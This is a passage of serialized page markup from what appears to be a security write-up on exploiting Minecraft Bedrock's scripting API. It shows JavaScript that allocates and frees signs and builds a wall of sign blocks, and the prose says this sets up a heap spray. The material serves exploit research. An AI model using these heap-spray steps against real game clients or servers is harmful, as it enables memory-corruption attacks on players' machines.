"type":23,"tag":481,"props":147968,"children":147969},{"style":525},[147970],{"type":28,"value":528},{"type":23,"tag":481,"props":147972,"children":147973},{"class":483,"line":873},[147974],{"type":23,"tag":481,"props":147975,"children":147976},{"style":525},[147977],{"type":28,"value":879},{"type":23,"tag":481,"props":147979,"children":147980},{"class":483,"line":1125},[147981],{"type":23,"tag":481,"props":147982,"children":147983},{"emptyLinePlaceholder":15},[147984],{"type":28,"value":1210},{"type":23,"tag":481,"props":147986,"children":147987},{"class":483,"line":1142},[147988,147992,147996,148001,148005,148010],{"type":23,"tag":481,"props":147989,"children":147990},{"style":508},[147991],{"type":28,"value":28954},{"type":23,"tag":481,"props":147993,"children":147994},{"style":525},[147995],{"type":28,"value":199},{"type":23,"tag":481,"props":147997,"children":147998},{"style":610},[147999],{"type":28,"value":148000},"warn",{"type":23,"tag":481,"props":148002,"children":148003},{"style":525},[148004],{"type":28,"value":618},{"type":23,"tag":481,"props":148006,"children":148007},{"style":1805},[148008],{"type":28,"value":148009},"\"No more allocs\"",{"type":23,"tag":481,"props":148011,"children":148012},{"style":525},[148013],{"type":28,"value":1366},{"type":23,"tag":481,"props":148015,"children":148016},{"class":483,"line":1159},[148017,148021,148025],{"type":23,"tag":481,"props":148018,"children":148019},{"style":535},[148020],{"type":28,"value":14481},{"type":23,"tag":481,"props":148022,"children":148023},{"style":497},[148024],{"type":28,"value":36856},{"type":23,"tag":481,"props":148026,"children":148027},{"style":525},[148028],{"type":28,"value":528},{"type":23,"tag":481,"props":148030,"children":148031},{"class":483,"line":1172},[148032],{"type":23,"tag":481,"props":148033,"children":148034},{"style":525},[148035],{"type":28,"value":1443},{"type":23,"tag":481,"props":148037,"children":148038},{"class":483,"line":1181},[148039],{"type":23,"tag":481,"props":148040,"children":148041},{"emptyLinePlaceholder":15},[148042],{"type":28,"value":1210},{"type":23,"tag":481,"props":148044,"children":148045},{"class":483,"line":1204},[148046],{"type":23,"tag":481,"props":148047,"children":148048},{"style":488},[148049],{"type":28,"value":148050},"// Free an allocated sign in the client\n",{"type":23,"tag":481,"props":148052,"children":148053},{"class":483,"line":1213},[148054,148058,148063,148067,148071],{"type":23,"tag":481,"props":148055,"children":148056},{"style":497},[148057],{"type":28,"value":28892},{"type":23,"tag":481,"props":148059,"children":148060},{"style":610},[148061],{"type":28,"value":148062}," free",{"type":23,"tag":481,"props":148064,"children":148065},{"style":525},[148066],{"type":28,"value":618},{"type":23,"tag":481,"props":148068,"children":148069},{"style":508},[148070],{"type":28,"value":147812},{"type":23,"tag":481,"props":148072,"children":148073},{"style":525},[148074],{"type":28,"value":12292},{"type":23,"tag":481,"props":148076,"children":148077},{"class":483,"line":1222},[148078,148082,148086,148090,148094,148098,148102,148106,148110,148114,148118,148122],{"type":23,"tag":481,"props":148079,"children":148080},{"style":535},[148081],{"type":28,"value":9766},{"type":23,"tag":481,"props":148083,"children":148084},{"style":525},[148085],{"type":28,"value":578},{"type":23,"tag":481,"props":148087,"children":148088},{"style":508},[148089],{"type":28,"value":147812},{"type":23,"tag":481,"props":148091,"children":148092},{"style":514},[148093],{"type":28,"value":800},{"type":23,"tag":481,"props":148095,"children":148096},{"style":497},[148097],{"type":28,"value":36856},{"type":23,"tag":481,"props":148099,"children":148100},{"style":514},[148101],{"type":28,"value":21207},{"type":23,"tag":481,"props":148103,"children":148104},{"style":508},[148105],{"type":28,"value":147783},{"type":23,"tag":481,"props":148107,"children":148108},{"style":525},[148109],{"type":28,"value":199},{"type":23,"tag":481,"props":148111,"children":148112},{"style":508},[148113],{"type":28,"value":147821},{"type":23,"tag":481,"props":148115,"children":148116},{"style":514},[148117],{"type":28,"value":800},{"type":23,"tag":481,"props":148119,"children":148120},{"style":497},[148121],{"type":28,"value":6539},{"type":23,"tag":481,"props":148123,"children":148124},{"style":525},[148125],{"type":28,"value":12292},{"type":23,"tag":481,"props":148127,"children":148128},{"class":483,"line":1291},[148129,148133],{"type":23,"tag":481,"props":148130,"children":148131},{"style":535},[148132],{"type":28,"value":13234},{"type":23,"tag":481,"props":148134,"children":148135},{"style":525},[148136],{"type":28,"value":528},{"type":23,"tag":481,"props":148138,"children":148139},{"class":483,"line":1299},[148140],{"type":23,"tag":481,"props":148141,"children":148142},{"style":525},[148143],{"type":28,"value":879},{"type":23,"tag":481,"props":148145,"children":148146},{"class":483,"line":1329},[148147],{"type":23,"tag":481,"props":148148,"children":148149},{"emptyLinePlaceholder":15},[148150],{"type":28,"value":1210},{"type":23,"tag":481,"props":148152,"children":148153},{"class":483,"line":1337},[148154,148159,148163,148167,148171,148175,148179,148184],{"type":23,"tag":481,"props":148155,"children":148156},{"style":508},[148157],{"type":28,"value":148158}," sign",{"type":23,"tag":481,"props":148160,"children":148161},{"style":525},[148162],{"type":28,"value":199},{"type":23,"tag":481,"props":148164,"children":148165},{"style":508},[148166],{"type":28,"value":147812},{"type":23,"tag":481,"props":148168,"children":148169},{"style":525},[148170],{"type":28,"value":199},{"type":23,"tag":481,"props":148172,"children":148173},{"style":610},[148174],{"type":28,"value":147892},{"type":23,"tag":481,"props":148176,"children":148177},{"style":525},[148178],{"type":28,"value":618},{"type":23,"tag":481,"props":148180,"children":148181},{"style":1805},[148182],{"type":28,"value":148183},"\"\"",{"type":23,"tag":481,"props":148185,"children":148186},{"style":525},[148187],{"type":28,"value":1366},{"type":23,"tag":481,"props":148189,"children":148190},{"class":483,"line":1369},[148191,148195,148199,148203,148207,148211],{"type":23,"tag":481,"props":148192,"children":148193},{"style":508},[148194],{"type":28,"value":148158},{"type":23,"tag":481,"props":148196,"children":148197},{"style":525},[148198],{"type":28,"value":199},{"type":23,"tag":481,"props":148200,"children":148201},{"style":508},[148202],{"type":28,"value":147821},{"type":23,"tag":481,"props":148204,"children":148205},{"style":514},[148206],{"type":28,"value":517},{"type":23,"tag":481,"props":148208,"children":148209},{"style":497},[148210],{"type":28,"value":6539},{"type":23,"tag":481,"props":148212,"children":148213},{"style":525},[148214],{"type":28,"value":528},{"type":23,"tag":481,"props":148216,"children":148217},{"class":483,"line":1377},[148218],{"type":23,"tag":481,"props":148219,"children":148220},{"emptyLinePlaceholder":15},[148221],{"type":28,"value":1210},{"type":23,"tag":481,"props":148223,"children":148224},{"class":483,"line":1437},[148225,148229,148233,148238,148242,148247],{"type":23,"tag":481,"props":148226,"children":148227},{"style":508},[148228],{"type":28,"value":148158},{"type":23,"tag":481,"props":148230,"children":148231},{"style":525},[148232],{"type":28,"value":199},{"type":23,"tag":481,"props":148234,"children":148235},{"style":508},[148236],{"type":28,"value":148237},"block",{"type":23,"tag":481,"props":148239,"children":148240},{"style":525},[148241],{"type":28,"value":199},{"type":23,"tag":481,"props":148243,"children":148244},{"style":610},[148245],{"type":28,"value":148246},"setPermutation",{"type":23,"tag":481,"props":148248,"children":148249},{"style":525},[148250],{"type":28,"value":988},{"type":23,"tag":481,"props":148252,"children":148253},{"class":483,"line":6528},[148254,148259,148263,148268,148272,148277],{"type":23,"tag":481,"props":148255,"children":148256},{"style":508},[148257],{"type":28,"value":148258}," BlockPermutation",{"type":23,"tag":481,"props":148260,"children":148261},{"style":525},[148262],{"type":28,"value":199},{"type":23,"tag":481,"props":148264,"children":148265},{"style":610},[148266],{"type":28,"value":148267},"resolve",{"type":23,"tag":481,"props":148269,"children":148270},{"style":525},[148271],{"type":28,"value":618},{"type":23,"tag":481,"props":148273,"children":148274},{"style":1805},[148275],{"type":28,"value":148276},"\"minecraft:air\"",{"type":23,"tag":481,"props":148278,"children":148279},{"style":525},[148280],{"type":28,"value":675},{"type":23,"tag":481,"props":148282,"children":148283},{"class":483,"line":6546},[148284],{"type":23,"tag":481,"props":148285,"children":148286},{"style":525},[148287],{"type":28,"value":41178},{"type":23,"tag":481,"props":148289,"children":148290},{"class":483,"line":6591},[148291,148295,148299,148303,148307,148311],{"type":23,"tag":481,"props":148292,"children":148293},{"style":508},[148294],{"type":28,"value":148158},{"type":23,"tag":481,"props":148296,"children":148297},{"style":525},[148298],{"type":28,"value":199},{"type":23,"tag":481,"props":148300,"children":148301},{"style":508},[148302],{"type":28,"value":130497},{"type":23,"tag":481,"props":148304,"children":148305},{"style":514},[148306],{"type":28,"value":517},{"type":23,"tag":481,"props":148308,"children":148309},{"style":497},[148310],{"type":28,"value":9956},{"type":23,"tag":481,"props":148312,"children":148313},{"style":525},[148314],{"type":28,"value":528},{"type":23,"tag":481,"props":148316,"children":148317},{"class":483,"line":6697},[148318],{"type":23,"tag":481,"props":148319,"children":148320},{"style":525},[148321],{"type":28,"value":1443},{"type":23,"tag":24,"props":148323,"children":148324},{},[148325,148327,148333],{"type":28,"value":148326},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":64,"props":148328,"children":148330},{"className":148329},[],[148331],{"type":28,"value":148332},"signs",{"type":28,"value":148334}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":435,"props":148336,"children":148338},{"code":148337,"language":33133,"meta":7,"className":33131,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[148339],{"type":23,"tag":64,"props":148340,"children":148341},{"__ignoreMap":7},[148342,148357,148364,148380,148397,148404,148466,148528,148535,148551,148559,148581,148607,148632,148652,148681,148693,148700,148708,148730,148764,148771,148791,148807,148823,148839,148851,148859,148866,148873,148880,148887,148903,148918,148925,148984,149043,149050,149065,149073,149101,149129,149137,149144,149163,149190,149197,149204,149219,149226,149233,149240,149247,149303,149315,149322,149329,149390,149402],{"type":23,"tag":481,"props":148343,"children":148344},{"class":483,"line":484},[148345,148349,148353],{"type":23,"tag":481,"props":148346,"children":148347},{"style":497},[148348],{"type":28,"value":9274},{"type":23,"tag":481,"props":148350,"children":148351},{"style":508},[148352],{"type":28,"value":147792},{"type":23,"tag":481,"props":148354,"children":148355},{"style":525},[148356],{"type":28,"value":528},{"type":23,"tag":481,"props":148358,"children":148359},{"class":483,"line":351},[148360],{"type":23,"tag":481,"props":148361,"children":148362},{"emptyLinePlaceholder":15},[148363],{"type":28,"value":1210},{"type":23,"tag":481,"props":148365,"children":148366},{"class":483,"line":531},[148367,148371,148376],{"type":23,"tag":481,"props":148368,"children":148369},{"style":497},[148370],{"type":28,"value":28892},{"type":23,"tag":481,"props":148372,"children":148373},{"style":610},[148374],{"type":28,"value":148375}," create_wall",{"type":23,"tag":481,"props":148377,"children":148378},{"style":525},[148379],{"type":28,"value":13226},{"type":23,"tag":481,"props":148381,"children":148382},{"class":483,"line":567},[148383,148388,148392],{"type":23,"tag":481,"props":148384,"children":148385},{"style":508},[148386],{"type":28,"value":148387}," signs",{"type":23,"tag":481,"props":148389,"children":148390},{"style":514},[148391],{"type":28,"value":517},{"type":23,"tag":481,"props":148393,"children":148394},{"style":525},[148395],{"type":28,"value":148396}," [];\n",{"type":23,"tag":481,"props":148398,"children":148399},{"class":483,"line":678},[148400],{"type":23,"tag":481,"props":148401,"children":148402},{"emptyLinePlaceholder":15},[148403],{"type":28,"value":1210},{"type":23,"tag":481,"props":148405,"children":148406},{"class":483,"line":784},[148407,148411,148415,148419,148424,148428,148432,148436,148441,148445,148450,148454,148458,148462],{"type":23,"tag":481,"props":148408,"children":148409},{"style":535},[148410],{"type":28,"value":538},{"type":23,"tag":481,"props":148412,"children":148413},{"style":525},[148414],{"type":28,"value":578},{"type":23,"tag":481,"props":148416,"children":148417},{"style":497},[148418],{"type":28,"value":9274},{"type":23,"tag":481,"props":148420,"children":148421},{"style":508},[148422],{"type":28,"value":148423}," current_y",{"type":23,"tag":481,"props":148425,"children":148426},{"style":514},[148427],{"type":28,"value":517},{"type":23,"tag":481,"props":148429,"children":148430},{"style":551},[148431],{"type":28,"value":554},{"type":23,"tag":481,"props":148433,"children":148434},{"style":525},[148435],{"type":28,"value":14719},{"type":23,"tag":481,"props":148437,"children":148438},{"style":508},[148439],{"type":28,"value":148440},"current_y",{"type":23,"tag":481,"props":148442,"children":148443},{"style":514},[148444],{"type":28,"value":6199},{"type":23,"tag":481,"props":148446,"children":148447},{"style":508},[148448],{"type":28,"value":148449}," WALL_HEIGHT",{"type":23,"tag":481,"props":148451,"children":148452},{"style":525},[148453],{"type":28,"value":14719},{"type":23,"tag":481,"props":148455,"children":148456},{"style":508},[148457],{"type":28,"value":148440},{"type":23,"tag":481,"props":148459,"children":148460},{"style":514},[148461],{"type":28,"value":48795},{"type":23,"tag":481,"props":148463,"children":148464},{"style":525},[148465],{"type":28,"value":12292},{"type":23,"tag":481,"props":148467,"children":148468},{"class":483,"line":812},[148469,148473,148477,148481,148486,148490,148494,148498,148503,148507,148512,148516,148520,148524],{"type":23,"tag":481,"props":148470,"children":148471},{"style":535},[148472],{"type":28,"value":58104},{"type":23,"tag":481,"props":148474,"children":148475},{"style":525},[148476],{"type":28,"value":578},{"type":23,"tag":481,"props":148478,"children":148479},{"style":497},[148480],{"type":28,"value":9274},{"type":23,"tag":481,"props":148482,"children":148483},{"style":508},[148484],{"type":28,"value":148485}," current_x",{"type":23,"tag":481,"props":148487,"children":148488},{"style":514},[148489],{"type":28,"value":517},{"type":23,"tag":481,"props":148491,"children":148492},{"style":551},[148493],{"type":28,"value":554},{"type":23,"tag":481,"props":148495,"children":148496},{"style":525},[148497],{"type":28,"value":14719},{"type":23,"tag":481,"props":148499,"children":148500},{"style":508},[148501],{"type":28,"value":148502},"current_x",{"type":23,"tag":481,"props":148504,"children":148505},{"style":514},[148506],{"type":28,"value":6199},{"type":23,"tag":481,"props":148508,"children":148509},{"style":508},[148510],{"type":28,"value":148511}," WALL_WIDTH",{"type":23,"tag":481,"props":148513,"children":148514},{"style":525},[148515],{"type":28,"value":14719},{"type":23,"tag":481,"props":148517,"children":148518},{"style":508},[148519],{"type":28,"value":148502},{"type":23,"tag":481,"props":148521,"children":148522},{"style":514},[148523],{"type":28,"value":48795},{"type":23,"tag":481,"props":148525,"children":148526},{"style":525},[148527],{"type":28,"value":12292},{"type":23,"tag":481,"props":148529,"children":148530},{"class":483,"line":825},[148531],{"type":23,"tag":481,"props":148532,"children":148533},{"emptyLinePlaceholder":15},[148534],{"type":28,"value":1210},{"type":23,"tag":481,"props":148536,"children":148537},{"class":483,"line":843},[148538,148543,148547],{"type":23,"tag":481,"props":148539,"children":148540},{"style":525},[148541],{"type":28,"value":148542}," [",{"type":23,"tag":481,"props":148544,"children":148545},{"style":514},[148546],{"type":28,"value":7074},{"type":23,"tag":481,"props":148548,"children":148549},{"style":525},[148550],{"type":28,"value":9259},{"type":23,"tag":481,"props":148552,"children":148553},{"class":483,"line":864},[148554],{"type":23,"tag":481,"props":148555,"children":148556},{"style":525},[148557],{"type":28,"value":148558}," \n",{"type":23,"tag":481,"props":148560,"children":148561},{"class":483,"line":873},[148562,148567,148572,148576],{"type":23,"tag":481,"props":148563,"children":148564},{"style":497},[148565],{"type":28,"value":148566}," const",{"type":23,"tag":481,"props":148568,"children":148569},{"style":508},[148570],{"type":28,"value":148571}," sign_block",{"type":23,"tag":481,"props":148573,"children":148574},{"style":514},[148575],{"type":28,"value":517},{"type":23,"tag":481,"props":148577,"children":148578},{"style":508},[148579],{"type":28,"value":148580}," world\n",{"type":23,"tag":481,"props":148582,"children":148583},{"class":483,"line":1125},[148584,148589,148594,148598,148603],{"type":23,"tag":481,"props":148585,"children":148586},{"style":525},[148587],{"type":28,"value":148588}," .",{"type":23,"tag":481,"props":148590,"children":148591},{"style":610},[148592],{"type":28,"value":148593},"getDimension",{"type":23,"tag":481,"props":148595,"children":148596},{"style":525},[148597],{"type":28,"value":618},{"type":23,"tag":481,"props":148599,"children":148600},{"style":1805},[148601],{"type":28,"value":148602},"\"overworld\"",{"type":23,"tag":481,"props":148604,"children":148605},{"style":525},[148606],{"type":28,"value":675},{"type":23,"tag":481,"props":148608,"children":148609},{"class":483,"line":1142},[148610,148614,148619,148623,148628],{"type":23,"tag":481,"props":148611,"children":148612},{"style":525},[148613],{"type":28,"value":148588},{"type":23,"tag":481,"props":148615,"children":148616},{"style":610},[148617],{"type":28,"value":148618},"getBlock",{"type":23,"tag":481,"props":148620,"children":148621},{"style":525},[148622],{"type":28,"value":618},{"type":23,"tag":481,"props":148624,"children":148625},{"style":508},[148626],{"type":28,"value":148627},"sign_location",{"type":23,"tag":481,"props":148629,"children":148630},{"style":525},[148631],{"type":28,"value":1366},{"type":23,"tag":481,"props":148633,"children":148634},{"class":483,"line":1159},[148635,148640,148644,148648],{"type":23,"tag":481,"props":148636,"children":148637},{"style":508},[148638],{"type":28,"value":148639}," sign_block",{"type":23,"tag":481,"props":148641,"children":148642},{"style":525},[148643],{"type":28,"value":199},{"type":23,"tag":481,"props":148645,"children":148646},{"style":610},[148647],{"type":28,"value":148246},{"type":23,"tag":481,"props":148649,"children":148650},{"style":525},[148651],{"type":28,"value":988},{"type":23,"tag":481,"props":148653,"children":148654},{"class":483,"line":1172},[148655,148660,148664,148668,148672,148677],{"type":23,"tag":481,"props":148656,"children":148657},{"style":508},[148658],{"type":28,"value":148659}," BlockPermutation",{"type":23,"tag":481,"props":148661,"children":148662},{"style":525},[148663],{"type":28,"value":199},{"type":23,"tag":481,"props":148665,"children":148666},{"style":610},[148667],{"type":28,"value":148267},{"type":23,"tag":481,"props":148669,"children":148670},{"style":525},[148671],{"type":28,"value":618},{"type":23,"tag":481,"props":148673,"children":148674},{"style":1805},[148675],{"type":28,"value":148676},"\"minecraft:wall_sign\"",{"type":23,"tag":481,"props":148678,"children":148679},{"style":525},[148680],{"type":28,"value":46407},{"type":23,"tag":481,"props":148682,"children":148683},{"class":483,"line":1181},[148684,148689],{"type":23,"tag":481,"props":148685,"children":148686},{"style":508},[148687],{"type":28,"value":148688}," facing_direction:",{"type":23,"tag":481,"props":148690,"children":148691},{"style":551},[148692],{"type":28,"value":16823},{"type":23,"tag":481,"props":148694,"children":148695},{"class":483,"line":1204},[148696],{"type":23,"tag":481,"props":148697,"children":148698},{"style":525},[148699],{"type":28,"value":68601},{"type":23,"tag":481,"props":148701,"children":148702},{"class":483,"line":1213},[148703],{"type":23,"tag":481,"props":148704,"children":148705},{"style":525},[148706],{"type":28,"value":148707}," ));\n",{"type":23,"tag":481,"props":148709,"children":148710},{"class":483,"line":1222},[148711,148716,148721,148725],{"type":23,"tag":481,"props":148712,"children":148713},{"style":497},[148714],{"type":28,"value":148715}," let",{"type":23,"tag":481,"props":148717,"children":148718},{"style":508},[148719],{"type":28,"value":148720}," sign_component",{"type":23,"tag":481,"props":148722,"children":148723},{"style":514},[148724],{"type":28,"value":517},{"type":23,"tag":481,"props":148726,"children":148727},{"style":508},[148728],{"type":28,"value":148729}," sign_block\n",{"type":23,"tag":481,"props":148731,"children":148732},{"class":483,"line":1291},[148733,148737,148742,148746,148751,148755,148760],{"type":23,"tag":481,"props":148734,"children":148735},{"style":525},[148736],{"type":28,"value":148588},{"type":23,"tag":481,"props":148738,"children":148739},{"style":610},[148740],{"type":28,"value":148741},"getComponent",{"type":23,"tag":481,"props":148743,"children":148744},{"style":525},[148745],{"type":28,"value":618},{"type":23,"tag":481,"props":148747,"children":148748},{"style":508},[148749],{"type":28,"value":148750},"BlockComponentTypes",{"type":23,"tag":481,"props":148752,"children":148753},{"style":525},[148754],{"type":28,"value":199},{"type":23,"tag":481,"props":148756,"children":148757},{"style":508},[148758],{"type":28,"value":148759},"Sign",{"type":23,"tag":481,"props":148761,"children":148762},{"style":525},[148763],{"type":28,"value":1366},{"type":23,"tag":481,"props":148765,"children":148766},{"class":483,"line":1299},[148767],{"type":23,"tag":481,"props":148768,"children":148769},{"emptyLinePlaceholder":15},[148770],{"type":28,"value":1210},{"type":23,"tag":481,"props":148772,"children":148773},{"class":483,"line":1329},[148774,148779,148783,148787],{"type":23,"tag":481,"props":148775,"children":148776},{"style":508},[148777],{"type":28,"value":148778}," signs",{"type":23,"tag":481,"props":148780,"children":148781},{"style":525},[148782],{"type":28,"value":199},{"type":23,"tag":481,"props":148784,"children":148785},{"style":610},[148786],{"type":28,"value":1352},{"type":23,"tag":481,"props":148788,"children":148789},{"style":525},[148790],{"type":28,"value":12629},{"type":23,"tag":481,"props":148792,"children":148793},{"class":483,"line":1337},[148794,148799,148803],{"type":23,"tag":481,"props":148795,"children":148796},{"style":508},[148797],{"type":28,"value":148798}," sign:",{"type":23,"tag":481,"props":148800,"children":148801},{"style":508},[148802],{"type":28,"value":148720},{"type":23,"tag":481,"props":148804,"children":148805},{"style":525},[148806],{"type":28,"value":1033},{"type":23,"tag":481,"props":148808,"children":148809},{"class":483,"line":1369},[148810,148815,148819],{"type":23,"tag":481,"props":148811,"children":148812},{"style":508},[148813],{"type":28,"value":148814}," allocated:",{"type":23,"tag":481,"props":148816,"children":148817},{"style":497},[148818],{"type":28,"value":6539},{"type":23,"tag":481,"props":148820,"children":148821},{"style":525},[148822],{"type":28,"value":1033},{"type":23,"tag":481,"props":148824,"children":148825},{"class":483,"line":1377},[148826,148831,148835],{"type":23,"tag":481,"props":148827,"children":148828},{"style":508},[148829],{"type":28,"value":148830}," block:",{"type":23,"tag":481,"props":148832,"children":148833},{"style":508},[148834],{"type":28,"value":148571},{"type":23,"tag":481,"props":148836,"children":148837},{"style":525},[148838],{"type":28,"value":1033},{"type":23,"tag":481,"props":148840,"children":148841},{"class":483,"line":1437},[148842,148847],{"type":23,"tag":481,"props":148843,"children":148844},{"style":508},[148845],{"type":28,"value":148846}," removed:",{"type":23,"tag":481,"props":148848,"children":148849},{"style":497},[148850],{"type":28,"value":9798},{"type":23,"tag":481,"props":148852,"children":148853},{"class":483,"line":6528},[148854],{"type":23,"tag":481,"props":148855,"children":148856},{"style":525},[148857],{"type":28,"value":148858}," });\n",{"type":23,"tag":481,"props":148860,"children":148861},{"class":483,"line":6546},[148862],{"type":23,"tag":481,"props":148863,"children":148864},{"style":525},[148865],{"type":28,"value":870},{"type":23,"tag":481,"props":148867,"children":148868},{"class":483,"line":6591},[148869],{"type":23,"tag":481,"props":148870,"children":148871},{"style":525},[148872],{"type":28,"value":879},{"type":23,"tag":481,"props":148874,"children":148875},{"class":483,"line":6697},[148876],{"type":23,"tag":481,"props":148877,"children":148878},{"style":525},[148879],{"type":28,"value":1443},{"type":23,"tag":481,"props":148881,"children":148882},{"class":483,"line":21008},[148883],{"type":23,"tag":481,"props":148884,"children":148885},{"emptyLinePlaceholder":15},[148886],{"type":28,"value":1210},{"type":23,"tag":481,"props":148888,"children":148889},{"class":483,"line":21043},[148890,148894,148899],{"type":23,"tag":481,"props":148891,"children":148892},{"style":497},[148893],{"type":28,"value":28892},{"type":23,"tag":481,"props":148895,"children":148896},{"style":610},[148897],{"type":28,"value":148898}," remove_wall",{"type":23,"tag":481,"props":148900,"children":148901},{"style":525},[148902],{"type":28,"value":13226},{"type":23,"tag":481,"props":148904,"children":148905},{"class":483,"line":21051},[148906,148910,148914],{"type":23,"tag":481,"props":148907,"children":148908},{"style":508},[148909],{"type":28,"value":148387},{"type":23,"tag":481,"props":148911,"children":148912},{"style":514},[148913],{"type":28,"value":517},{"type":23,"tag":481,"props":148915,"children":148916},{"style":525},[148917],{"type":28,"value":148396},{"type":23,"tag":481,"props":148919,"children":148920},{"class":483,"line":21059},[148921],{"type":23,"tag":481,"props":148922,"children":148923},{"style":525},[148924],{"type":28,"value":59314},{"type":23,"tag":481,"props":148926,"children":148927},{"class":483,"line":21068},[148928,148932,148936,148940,148944,148948,148952,148956,148960,148964,148968,148972,148976,148980],{"type":23,"tag":481,"props":148929,"children":148930},{"style":535},[148931],{"type":28,"value":538},{"type":23,"tag":481,"props":148933,"children":148934},{"style":525},[148935],{"type":28,"value":578},{"type":23,"tag":481,"props":148937,"children":148938},{"style":497},[148939],{"type":28,"value":9274},{"type":23,"tag":481,"props":148941,"children":148942},{"style":508},[148943],{"type":28,"value":148423},{"type":23,"tag":481,"props":148945,"children":148946},{"style":514},[148947],{"type":28,"value":517},{"type":23,"tag":481,"props":148949,"children":148950},{"style":551},[148951],{"type":28,"value":554},{"type":23,"tag":481,"props":148953,"children":148954},{"style":525},[148955],{"type":28,"value":14719},{"type":23,"tag":481,"props":148957,"children":148958},{"style":508},[148959],{"type":28,"value":148440},{"type":23,"tag":481,"props":148961,"children":148962},{"style":514},[148963],{"type":28,"value":6199},{"type":23,"tag":481,"props":148965,"children":148966},{"style":508},[148967],{"type":28,"value":148449},{"type":23,"tag":481,"props":148969,"children":148970},{"style":525},[148971],{"type":28,"value":14719},{"type":23,"tag":481,"props":148973,"children":148974},{"style":508},[148975],{"type":28,"value":148440},{"type":23,"tag":481,"props":148977,"children":148978},{"style":514},[148979],{"type":28,"value":48795},{"type":23,"tag":481,"props":148981,"children":148982},{"style":525},[148983],{"type":28,"value":12292},{"type":23,"tag":481,"props":148985,"children":148986},{"class":483,"line":21110},[148987,148991,148995,148999,149003,149007,149011,149015,149019,149023,149027,149031,149035,149039],{"type":23,"tag":481,"props":148988,"children":148989},{"style":535},[148990],{"type":28,"value":58104},{"type":23,"tag":481,"props":148992,"children":148993},{"style":525},[148994],{"type":28,"value":578},{"type":23,"tag":481,"props":148996,"children":148997},{"style":497},[148998],{"type":28,"value":9274},{"type":23,"tag":481,"props":149000,"children":149001},{"style":508},[149002],{"type":28,"value":148485},{"type":23,"tag":481,"props":149004,"children":149005},{"style":514},[149006],{"type":28,"value":517},{"type":23,"tag":481,"props":149008,"children":149009},{"style":551},[149010],{"type":28,"value":554},{"type":23,"tag":481,"props":149012,"children":149013},{"style":525},[149014],{"type":28,"value":14719},{"type":23,"tag":481,"props":149016,"children":149017},{"style":508},[149018],{"type":28,"value":148502},{"type":23,"tag":481,"props":149020,"children":149021},{"style":514},[149022],{"type":28,"value":6199},{"type":23,"tag":481,"props":149024,"children":149025},{"style":508},[149026],{"type":28,"value":148511},{"type":23,"tag":481,"props":149028,"children":149029},{"style":525},[149030],{"type":28,"value":14719},{"type":23,"tag":481,"props":149032,"children":149033},{"style":508},[149034],{"type":28,"value":148502},{"type":23,"tag":481,"props":149036,"children":149037},{"style":514},[149038],{"type":28,"value":48795},{"type":23,"tag":481,"props":149040,"children":149041},{"style":525},[149042],{"type":28,"value":12292},{"type":23,"tag":481,"props":149044,"children":149045},{"class":483,"line":21143},[149046],{"type":23,"tag":481,"props":149047,"children":149048},{"style":525},[149049],{"type":28,"value":148558},{"type":23,"tag":481,"props":149051,"children":149052},{"class":483,"line":21151},[149053,149057,149061],{"type":23,"tag":481,"props":149054,"children":149055},{"style":525},[149056],{"type":28,"value":148542},{"type":23,"tag":481,"props":149058,"children":149059},{"style":514},[149060],{"type":28,"value":7074},{"type":23,"tag":481,"props":149062,"children":149063},{"style":525},[149064],{"type":28,"value":9259},{"type":23,"tag":481,"props":149066,"children":149067},{"class":483,"line":21159},[149068],{"type":23,"tag":481,"props":149069,"children":149070},{"style":525},[149071],{"type":28,"value":149072}," \n",{"type":23,"tag":481,"props":149074,"children":149075},{"class":483,"line":21168},[149076,149080,149084,149088,149092,149097],{"type":23,"tag":481,"props":149077,"children":149078},{"style":497},[149079],{"type":28,"value":148566},{"type":23,"tag":481,"props":149081,"children":149082},{"style":508},[149083],{"type":28,"value":148571},{"type":23,"tag":481,"props":149085,"children":149086},{"style":514},[149087],{"type":28,"value":517},{"type":23,"tag":481,"props":149089,"children":149090},{"style":535},[149091],{"type":28,"value":33729},{"type":23,"tag":481,"props":149093,"children":149094},{"style":610},[149095],{"type":28,"value":149096}," wait_for_block",{"type":23,"tag":481,"props":149098,"children":149099},{"style":525},[149100],{"type":28,"value":988},{"type":23,"tag":481,"props":149102,"children":149103},{"class":483,"line":21244},[149104,149109,149113,149117,149121,149125],{"type":23,"tag":481,"props":149105,"children":149106},{"style":508},[149107],{"type":28,"value":149108}," world",{"type":23,"tag":481,"props":149110,"children":149111},{"style":525},[149112],{"type":28,"value":199},{"type":23,"tag":481,"props":149114,"children":149115},{"style":610},[149116],{"type":28,"value":148593},{"type":23,"tag":481,"props":149118,"children":149119},{"style":525},[149120],{"type":28,"value":618},{"type":23,"tag":481,"props":149122,"children":149123},{"style":1805},[149124],{"type":28,"value":148602},{"type":23,"tag":481,"props":149126,"children":149127},{"style":525},[149128],{"type":28,"value":4214},{"type":23,"tag":481,"props":149130,"children":149131},{"class":483,"line":21277},[149132],{"type":23,"tag":481,"props":149133,"children":149134},{"style":508},[149135],{"type":28,"value":149136}," 